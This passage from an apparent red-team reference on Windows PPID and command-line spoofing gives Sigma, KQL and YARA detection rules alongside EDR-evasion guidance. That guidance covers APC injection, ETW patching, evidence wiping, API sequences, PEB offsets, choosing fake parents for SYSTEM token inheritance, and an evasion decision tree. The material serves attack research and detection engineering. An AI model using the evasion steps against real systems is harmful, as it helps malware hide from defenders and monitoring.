# [TOOL] Process Hacker — Shows spoofed PPID (limitations vs ETW)
# Process Explorer — Shows spoofed PPID
# [TOOL] ETW-based detection — catches real parent
# SilkETW / ETWProcessMon2 / ProcMonXv2
# These use Microsoft-Windows-Kernel-Process ETW provider
# which captures REAL parent, not spoofed PEB value
# ETW monitoring command:
logman create trace ppid-detect -p Microsoft-Windows-Kernel-Process 0x10 -ets
logman start ppid-detect
# [TOOL] ThreatCheck — find what triggers AV on spoofing loaders
ThreatCheck.exe -f ppid_spoof.exe -e Defender
# [TOOL] SilkETW — capture ETW events and detect spoofing
SilkETW.exe -t kernel -kk ProcessCreate -ot file -p C:\logs\etw.json
12. Detection & Evasion
12.1 What Blue Teams Look For
Static analysis:
- NtQueryInformationProcess imported from ntdll.dll
- ReadProcessMemory + WriteProcessMemory in same binary
- CREATE_SUSPENDED flag used alongside ResumeThread
- InitializeProcThreadAttributeList / UpdateProcThreadAttribute imports
- PROC_THREAD_ATTRIBUTE_PARENT_PROCESS constant in binary
Behavioral analysis (what EDR monitors):
[DETECT] Sysmon Event ID 1 — Process Creation:
ParentProcessId field is SPOOFED (shows chosen fake parent)
Sysmon trusts the PEB — it CANNOT detect PPID spoof without kernel callbacks
EDR rules based purely on Sysmon Event ID 1 CAN be evaded
[DETECT] ETW Microsoft-Windows-Kernel-Process:
Captures REAL calling process, not PEB parent
ETW is the ground truth for process lineage
ProcMonXv2, SilkETW, EDRs with kernel callbacks use this
[DETECT] MITRE ATT&CK Detection Strategy DET0045:
"Inconsistencies between process command-line arguments logged at
creation time and subsequent process behavior"
"Monitoring for processes launched in a suspended state, followed by
memory modifications (WriteProcessMemory targeting the PEB)"
"Anomalous behaviors from processes whose logged arguments do not
align with executed activity (network connections, file writes, etc.)"
12.2 Sigma Rules for Detection
# sigma_ppid_spoof.yml — Detect PPID spoofing via suspicious parent-child
title: Suspicious PPID Spoofing Pattern
id: b5de0c9a-1234-4f73-a39b-9fa536f85f97
status: experimental
description: Detects processes with suspicious parent-child relationships
that indicate PPID spoofing
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith:
- '\explorer.exe'
- '\svchost.exe'
selection_child_suspicious:
CommandLine|contains:
- '-enc '
- '-EncodedCommand'
- 'IEX '
- 'Invoke-Expression'
- 'DownloadString'
- 'bypass'
condition: selection_parent and selection_child_suspicious
falsepositives:
- Legitimate administrative scripts run from explorer
level: high
tags:
- attack.defense_evasion
- attack.t1134.004
- attack.t1564.010
# sigma_cmdline_spoof.yml — Detect WriteProcessMemory targeting PEB
title: Possible Command Line Argument Spoofing via PEB Modification
id: c3f12b88-8765-4a12-b987-2d45e9a8c1f2
status: experimental
description: Detects use of NtQueryInformationProcess followed by
WriteProcessMemory — classic PEB command-line spoofing pattern
logsource:
category: process_access
product: windows
service: sysmon
detection:
selection:
EventID: 10 # Process access
GrantedAccess|contains:
- '0x1010' # PROCESS_VM_WRITE | PROCESS_VM_READ
- '0x1438'
- '0x143a'
filter_legit:
SourceImage|startswith:
- 'C:\Windows\System32\'
- 'C:\Program Files\'
condition: selection and not filter_legit
level: medium
tags:
- attack.defense_evasion
- attack.t1564.010
12.3 KQL (Azure Sentinel / Defender XDR) Detection
// KQL: Detect suspicious process creation with CREATE_SUSPENDED pattern
// Azure Sentinel / Microsoft Defender XDR
DeviceProcessEvents
| where Timestamp > ago(1d)
| where ProcessCommandLine has_any ("-enc ", "IEX", "DownloadString", "bypass")
| where InitiatingProcessParentFileName in~ ("explorer.exe", "svchost.exe",
"winlogon.exe", "services.exe")
| where InitiatingProcessFileName !in~ ("cmd.exe", "powershell.exe",
"wscript.exe", "mshta.exe")
| project Timestamp, DeviceName, ProcessCommandLine,
FileName, InitiatingProcessFileName,
InitiatingProcessParentFileName, AccountName
| sort by Timestamp desc
// KQL: Detect PPID mismatch (requires Defender XDR telemetry)
DeviceProcessEvents
| where Timestamp > ago(1d)
| extend ExpectedParent = case(
FileName =~ "powershell.exe", "cmd.exe|explorer.exe|conhost.exe",
FileName =~ "cmd.exe", "explorer.exe|conhost.exe|powershell.exe",
"any"
)
| where InitiatingProcessFileName !in (split(ExpectedParent, "|"))
and ExpectedParent != "any"
| where ProcessCommandLine contains_any ("-enc", "iex", "bypass")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessParentFileName
12.4 YARA Rules
// yara_ppid_spoof.yar — Detect PPID spoofing binaries
rule PPID_Spoofing_Binary {
meta:
description = "Detects binaries using PPID spoofing APIs"
author = "Red Team Reference"
date = "2025-01-01"
mitre = "T1134.004"
strings:
$api1 = "InitializeProcThreadAttributeList" ascii
$api2 = "UpdateProcThreadAttribute" ascii
$api3 = "PROC_THREAD_ATTRIBUTE_PARENT_PROCESS" ascii wide
$api4 = "EXTENDED_STARTUPINFO_PRESENT" ascii wide
$const1 = { 00 00 02 00 00 00 00 00 } // 0x00020000 LE (PPID attribute)
condition:
uint16(0) == 0x5A4D and // PE file
(
($api1 and $api2) or
($api1 and $api3) or
$const1
)
}
rule CmdLine_Spoofing_Binary {
meta:
description = "Detects command-line spoofing via PEB manipulation"
author = "Red Team Reference"
date = "2025-01-01"
mitre = "T1564.010"
strings:
$ntqip = "NtQueryInformationProcess" ascii
$rpm = "ReadProcessMemory" ascii
$wpm = "WriteProcessMemory" ascii
$susp = "CommandLine" wide nocase
$create = "CREATE_SUSPENDED" ascii
$resume = "ResumeThread" ascii
condition:
uint16(0) == 0x5A4D and
$ntqip and $rpm and $wpm and $resume
}
rule ETW_Disable_Via_EnvVar {
meta:
description = "Detects attempts to disable .NET ETW via env var"
mitre = "T1562.006"
strings:
$etw1 = "COMPlus_ETWEnabled" ascii wide nocase
$etw2 = "COMPlus_ETWEnabled=0" ascii wide nocase
$etw3 = { 43 00 4F 00 4D 00 50 00 6C 00 75 00 73 00 5F } // COMPlus_ wide
condition:
uint16(0) == 0x5A4D and ($etw1 or $etw2 or $etw3)
}
12.5 Evasion Improvements
Against ETW kernel callbacks:
// ETW detects the real parent via kernel callbacks even if PEB is spoofed.
// Countermeasures:
// 1. Use NtCreateUserProcess directly (undocumented, bypasses some EDR hooks)
// → EDR may not hook ntdll!NtCreateUserProcess as thoroughly as kernel32!CreateProcess
// 2. Process injection into existing process (no new process creation)
// → Inject into already-running svchost.exe → no parent-child relationship at all
// 3. Thread hijacking (no new process)
// → APC injection or thread context hijacking
// → No new process = no process creation event
// 4. Early-bird injection with PPID spoof
// → Create process suspended (spoofed parent)
// → Inject via Early-bird APC (fires before EDR hooks initialize)
// → Resume → EDR hooks not yet active when payload runs
// 5. Combine with ETW patching (patch EtwEventWrite in ntdll)
// → Prevents process from emitting any ETW events at all
// → But requires code injection / memory patching (detectable)
Against Sysmon EventID 1 CmdLine logging:
[EVASION] Strategies:
1. Fake args must be LONGER than real args (buffer size constraint)
2. Sleep briefly after CreateProcess → let EDR fully log fake args before overwrite
3. Null-fill the fake args after writing real args (wipe the evidence)
4. Use Process Hollowing instead: inject shellcode via ZwUnmapViewOfSection
5. Reflective DLL injection: inject DLL directly, no new process needed
[OPSEC] Red flags to avoid:
- Using CREATE_SUSPENDED on a process + immediately WriteProcessMemory
- ReadProcessMemory to PEB address (specific offset patterns)
- Same binary doing OpenProcess + ReadProcessMemory + WriteProcessMemory
13. MITRE ATT&CK Mapping
| Sub-Technique | ID | Tactic | Description |
|---|---|---|---|
| Hide Artifacts: Process Argument Spoofing | T1564.010 | Defense Evasion | PEB overwrite to hide CmdLine args |
| Access Token Manipulation: Parent PID Spoofing | T1134.004 | Defense Evasion, Privilege Escalation | Spoof PPID via CreateProcess attributes |
| Masquerading: Match Legitimate Name or Location | T1036.005 | Defense Evasion | Disguise process as legitimate |
| Indicator Removal: Clear Windows Event Logs | T1562.006 | Defense Evasion | ETW disable via COMPlus_ETWEnabled |
| Process Injection | T1055 | Defense Evasion, Privilege Escalation | Inject code into remote process |
MITRE ATT&CK Detection Strategy DET0045:
"Inconsistencies between process command-line arguments logged at
creation time and subsequent process behavior."
Detection methods:
- Monitor WriteProcessMemory targeting PEB regions
- Compare CmdLine from Sysmon Event ID 1 vs actual process behavior
- Use ETW kernel provider to get real parent-child relationships
- Alert on CREATE_SUSPENDED + ResumeThread with intermediate WPM
14. Comparison Matrix
| Technique | Complexity | OPSEC | What's Spoofed | Requires Admin | EDR Bypass |
|---|---|---|---|---|---|
| CmdLine Arg Spoof (PEB) | Medium | Medium | Process command line | No | Medium (Sysmon sees fake) |
| PPID Spoofing | Medium | High | Parent-child tree | No (usually) | High (Sysmon sees fake parent) |
| Env Var Spoof (PEB) | Medium | Medium | Environment vars + ETW | No | High (disables .NET ETW) |
| CurrentDirectory Spoof | Low | Low | Working directory display | No | Low |
| Window Title Spoof | Low | Low | Window title in tools | No | Low |
| Combined (PPID + CmdLine) | High | Very High | Parent + CmdLine + EnvVar | No | Very High |
| VBA Office Macro Spoof | High | High | Parent + CmdLine in macro | No | High |
| ETW Disable via EnvVar | Low | High | .NET telemetry events | No | Very High |
Key detection landscape:
| Tool | Sees PPID Spoof | Sees CmdLine Spoof | Real Parent | Real CmdLine |
|---|---|---|---|---|
| Sysmon (Event ID 1) | ❌ (trusts PEB) | ❌ (trusts PEB) | ❌ | ❌ |
| Process Hacker (live) | ❌ (trusts PEB) | ✅ (re-reads PEB) | ❌ | ✅ |
| ETW Kernel-Process | ✅ | ✅ | ✅ | ✅ |
| ProcMonXv2 (ETW) | ✅ | ✅ | ✅ | ✅ |
| EDR with kernel callbacks | ✅ | ✅ | ✅ | ✅ |
15. Cheat Sheet
Quick Workflow — PPID Spoof
# Step 1: Find PID of target parent
Get-Process explorer | Select-Object Id
# Step 2: Verify required access (PROCESS_CREATE_PROCESS = 0x80)
# No admin needed for explorer.exe / notepad.exe etc.
# Admin needed for lsass.exe / winlogon.exe (for privilege escalation)
# Step 3: Compile and run
cl.exe ppid_spoof.cpp /Fe:ppid_spoof.exe
.\ppid_spoof.exe
# Step 4: Verify in Process Hacker
# → New process should show explorer.exe as parent
# Step 5: Confirm Sysmon sees the spoof
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object { $_.Id -eq 1 } |
Select-Object -Last 5 |
Format-List TimeCreated, Message
Quick Workflow — CmdLine Spoof
# Step 1: Ensure FAKE args >= REAL args in byte length
# FAKE: "notepad.exe C:\Windows\System32\kernel32.dll" (46 chars)
# REAL: "notepad.exe C:\malicious.txt" (28 chars) ← OK
# Step 2: Compile
x86_64-w64-mingw32-g++ cmdline_spoof.cpp -o cmdline_spoof.exe
# Step 3: Run and verify
.\cmdline_spoof.exe
# Step 4: Check Sysmon log (should show FAKE args)
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object { $_.Id -eq 1 } | Select-Object -First 3 |
Format-List TimeCreated, Message
# Step 5: Check live in Process Hacker (should show REAL args — re-reads PEB)
API Quick Reference
PPID Spoofing APIs:
OpenProcess(PROCESS_CREATE_PROCESS, FALSE, targetPID)
InitializeProcThreadAttributeList(NULL, 1, 0, &size) // size query
InitializeProcThreadAttributeList(attrList, 1, 0, &size) // init
UpdateProcThreadAttribute(attrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, ...)
CreateProcess(..., EXTENDED_STARTUPINFO_PRESENT, ..., &STARTUPINFOEX, ...)
DeleteProcThreadAttributeList(attrList)
CmdLine Spoofing APIs:
CreateProcess(fakeArgs, CREATE_SUSPENDED, ...)
GetProcAddress(ntdll.dll, "NtQueryInformationProcess")
NtQueryInformationProcess(hProc, ProcessBasicInformation, &pbi, ...)
ReadProcessMemory(hProc, pbi.PebBaseAddress, &peb, ...)
ReadProcessMemory(hProc, peb.ProcessParameters, &pp, ...)
WriteProcessMemory(hProc, pp.CommandLine.Buffer, realArgs, ...)
ResumeThread(hThread)
Key Offsets (x64):
PEB.ProcessParameters → offset 0x20
RTL_USER_PROCESS_PARAMETERS.CommandLine.Length → offset 0x70
RTL_USER_PROCESS_PARAMETERS.CommandLine.Buffer → offset 0x78
RTL_USER_PROCESS_PARAMETERS.Environment → offset 0x80
RTL_USER_PROCESS_PARAMETERS.CurrentDirectory → offset 0x38
Best Fake Parents by Scenario
Goal: Make PowerShell look benign
→ Fake parent: explorer.exe (users run PowerShell from explorer all the time)
Goal: Make cmd.exe look benign
→ Fake parent: conhost.exe / svchost.exe / explorer.exe
Goal: Make rundll32.exe look benign
→ Fake parent: svchost.exe -k netsvcs (matches real Windows pattern)
Goal: Make mshta.exe look benign
→ Fake parent: svchost.exe / explorer.exe
Goal: Privilege escalation via token inheritance
→ Fake parent: lsass.exe / winlogon.exe / services.exe (requires admin)
→ New process inherits access token from SYSTEM parent
⚠ AVOID obviously wrong parents:
→ lsass.exe → notepad.exe (lsass never spawns user apps)
→ spoolsv.exe → chrome.exe
→ csrss.exe → cmd.exe (highly suspicious, heavily monitored)
Decision Tree
Need to evade process-based EDR detection?
│
├─ EDR uses parent-child behavioral rules?
│ └─ YES → PPID Spoofing (§4)
│ Choose realistic parent (explorer.exe)
│ Combine with CmdLine spoof for max effect
│
├─ EDR logs command-line arguments?
│ └─ YES → CmdLine Arg Spoofing (§3)
│ Fake args must be >= real args length
│ Sleep after spawn → let EDR log fake args first
│
├─ .NET tool detected via ETW assembly loads?
│ └─ YES → COMPlus_ETWEnabled=0 via env var spoof (§5)
│ Or: set in parent env before spawning child
│ Disables CLR ETW provider registration entirely
│
├─ Need all three?
│ └─ YES → Combined spoof (§8)
│ PPID spoof (believable parent) +
│ CmdLine spoof (innocent logged args) +
│ Env var spoof (disable .NET ETW) +
│ Sleep for timing (let EDR capture fake args)
│
└─ Want to use in Office macro?
└─ YES → VBA implementation (§9)
Combine PPID + CmdLine in VBA P/Invoke
Looks like: explorer.exe → powershell.exe
NOT: winword.exe → powershell.exe
References & Tools
Core Research: - Adam Chester (@xpn) — "How to Argue like Cobalt Strike" — xpnsec.com — the seminal post - Will Burgess — "Red Teaming in the EDR Age" (Wild West Hackin' Fest 2018) - Didier Stevens — SelectMyParent (first public PPID spoof tool, 2009) - NVISO Labs — "The Return of the Spoof Part 2: Command Line Spoofing" - Christophe Tafani-Dereeper — "Building an Office Macro to Spoof Process Parent and CmdLine" - Adam Chester (@xpn) — "Hiding Your .NET — COMPlus_ETWEnabled"
Tools: - SelectMyParent — https://blog.didierstevens.com (original PPID tool) - RustRedOps — https://github.com/joaoviictorti/RustRedOps (Rust implementations) - Procmon-Process-Argument-Spoofer — https://github.com/AbdouRoumi/Procmon-Process-Argument-Spoofer - cmdlinespoofer — https://github.com/5l1v3r1/cmdlinespoofer (C# version) - yo-yo-yo-jbo/commandline_spoofing — https://github.com/yo-yo-yo-jbo/commandline_spoofing - psgetsys.ps1 — PowerShell PPID spoofing - SilkETW — https://github.com/fireeye/SilkETW (ETW-based detection) - ProcMonXv2 — ETW-based real parent detection
Detection: - MITRE ATT&CK T1564.010 — Hide Artifacts: Process Argument Spoofing - MITRE ATT&CK T1134.004 — Access Token Manipulation: Parent PID Spoofing - MITRE ATT&CK DET0045 — Detection Strategy for Process Argument Spoofing - Sysmon (Event ID 1) — Process creation with CmdLine + ParentProcessId - Microsoft-Windows-Kernel-Process ETW provider — Real process lineage
Further Reading: - Red Team Notes (ired.team) — PPID Spoofing walkthrough - Unprotect.it — Process Argument Spoofing technique entry - TrustedSec — "PPID Spoofing: It's Really this Easy to Fake Your Parent" - Hackers Terminal — "Parent PID Spoofing: How to Detect with ETW & SilkETW"